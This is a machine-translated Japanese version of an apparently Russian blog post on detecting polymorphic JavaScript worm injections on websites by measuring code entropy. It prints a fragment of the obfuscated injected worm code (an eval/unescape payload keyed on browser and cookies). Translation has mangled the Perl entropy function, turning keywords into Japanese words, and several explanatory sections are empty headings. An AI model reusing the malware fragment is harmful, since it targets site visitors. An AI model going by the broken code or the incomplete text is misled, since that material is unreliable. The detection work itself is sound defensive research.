サイトでのウイルス注射を検出するための1つの発見的方法について

投稿はRomanLによって書かれましたが、必要な量のカルマがないため、公開できません。



サイトのページにポリモーフィックなウイルスJavaScriptコードの導入を検出する方法の1つについてお話したいと思います。 このノートは、基本的なことを説明する必要がなく、ウィキペディアへのリンクを必要とせずに追加情報を見つけることができる訓練されたユーザー向けに設計されています:)





はじめに



確かに、多くの人は、このサイトがコンピュータに潜在的な危険をもたらすという不快なブラウザ警告に直面していました。 Yandexが検索結果でこれについて警告し始めた後、サイトの突然のトラフィックがすべてゼロになった理由を説明するのは非常に簡単になりました。 シンプルだが遅い。



Webページを攻撃し、ブラウザの穴から訪問者のコンピューターに侵入し、繁殖を継続しようとする悪意のあるワームがすべてです。



このタイプのワームは通常、次のように機能します。



サイトにはどのようなウイルスコードがありますか?



通常、いくつかのオプションが使用されます。



サイトへのウイルスコードの侵入に関する情報をすばやく取得するにはどうすればよいですか?





2番目のアプローチのいくつかの機能と、それを当社の業務でどのように使用するかについて簡単に説明したいと思います。



チャレンジ。



タスクは簡単です-200のクライアントWebサイトでウイルスコードの出現を監視する必要があります。



解決策。



リストから定期的にサイトをポーリングし、メインページを受け取り、潜在的な危険がないか分析するクローラーが作成されています。



潜在的に危険なコードの検索は、いくつかの段階で進行します。



詳細はこちら!



最近、ワームの新しい変更は、スクリプトによって実行されるロジックを隠すために、ページに埋め込まれたJSコードのポリモーフィック暗号化(または難読化)を使用しています。 そのようなコードは、コピーごとに変化するため、署名方法で時間内にキャッチするのは困難です(ただし、その一部は署名ベースの正規表現で記述できます)。 この種の注射の「体の断片」は次のとおりです。

var jGt7H3IkS =配列 63、6、19、54、61、31、22、51、12、33、0、0、0、0、0、0、49、5、4、62、2、25、29 38、39

44、26、28、42、57、21、34、13、7、56、43、41、47、1、3、37、40、11、0、0、0、0、30、0、14 58、17、27、0、8

60、16、36、35、20、46、24、48、10、32、9、15、23、52、53、59、50、55、45、18 OmFORSBhopxKumqErMdN3

QYTiogrWyNLb2agSAc = "Ewgns28wesYusd8GQ3Ktcs4HoLmts2gnWSInoUgO1S8wo_m96QPxqW8GQ1876sFwB74HZSgwe5R

GELf7W5P @ fWgG " JjrjMmsvdcJ8K6muubIPn = 0 CCdH_4HW = 0 Lv0RDYvi6cLNHfJ = 0 EnMfvr1feyNJmFLN6C0pI

DRx7SSTALRmlVGS KuX2VtJp1ALLHMe = OmFORSBhopxKumqErMdN3QYTiogrWyNLb2agSAc。 長さ K0



function t { eval unescape '<76ar <20a <3d <22Sc <72 <69p <74Engine <22 <2cb <3d <22 <56er <73i <6fn()

<2b <22 <2cj <3d <22 <22 <2cu <3dna <76igator <2euse <72 Agent <3bif((u <2e <69nd <65xOf(<22W <69n <22)<3e0)<26 <26

(u <2eindexOf(<22 <4eT <206 <22)<3c0)<26 <26(documen <74 <2e <63ooki <65 <2ein <64 <65xOf(<22 <6d <69ek <3d1 <22 <29 <3c0)

<26 <26 <28typeof(zr <76zts)<21 <3d <74 <79peof <28 <22 <41 <22)<29)<7bz <72v <7ats <3d <22 <41 <22 <3b <65

val(<22 <69f <28 <77indow <2e <22 + a <2b <22)j <3dj +


このようなコードの分析により、その高いエントロピー、つまり 通常のJSコードと比較すると、難読化されたコードは無秩序です。



さらに、このようなコードの最終エントロピーを計算するアルゴリズムのいくつかの修正を使用し、小さな署名ベースを使用してそれらを実行しました。 結果は心強いものでしたが、不快な機能が1つありました。jQueryなどのライブラリをパッケージ化するために使用されるアルゴリズムが詰め込まれたウイルスコードは、それぞれに近いエントロピーの値を示しました。 彼のカブをひっかいてアルゴリズムを少し修正した後、そのようなコードを署名データベースに含め、エントロピーしきい値を設定してウイルスコードの上記の変更を自信を持って決定するという強い意思が決定されました。

したがって、この小さなコードは、処理されたJSコードのエントロピーの測定値を計算します。

サブエントロピー $$ {

私の $データ = シフト ;

私の $ ignore = shift ;

私の $ e = 0 ;



私の $文字 = { } ;

私の $ counter = 0 ;



if $ data {

$ data = 〜tr / AZ / az / ;

$ data = 〜s / \ s // g ;



#無視された署名からポリモーフィックコードを削除

foreach @ { $ ignore } {

$ data = 〜s / $ _ // g ;

}



$ data = 〜s / [^ 2-9] / _ / g ;



while $ data =〜 /(...)/g {

$文字 -> { $ 1 } ++;

$カウンター ++;

}



foreach キー { $文字 } {

私の $ p = $文字 -> { $ _ } / $ counter ;

$ e + = $ p * log2 $ p ;

}



$ e = 0- $ e ;

}



$ eを 返し ます。

}

sub log2 {

私の $ n = シフト ;

return log $ n / log 2 ;

}


ここで何が起こっていますか:



最終的な値を実験することで、そのレベルが確立され、それを超えるとコードはバイラルと見なされます。



our $E_MAX = 2.2;







実際、サイトでのウイルス注射のヒューリスティック検出の1つの方法について私が言いたかったのはそれだけです。 :)

PSところで、もしあなたがFarでFTPパスワードを保存するなら、それを「FTP」パネルのルートではなく、ディレクトリを作成します(F7経由)-それらから、何らかの理由でウイルスはそれらを取得する方法を知りません:)

_________

テキストはHabraで準備されます



PS記事が気に入ったら-プラスRomanLを嫌いなら-zviruszを付けてください



All Articles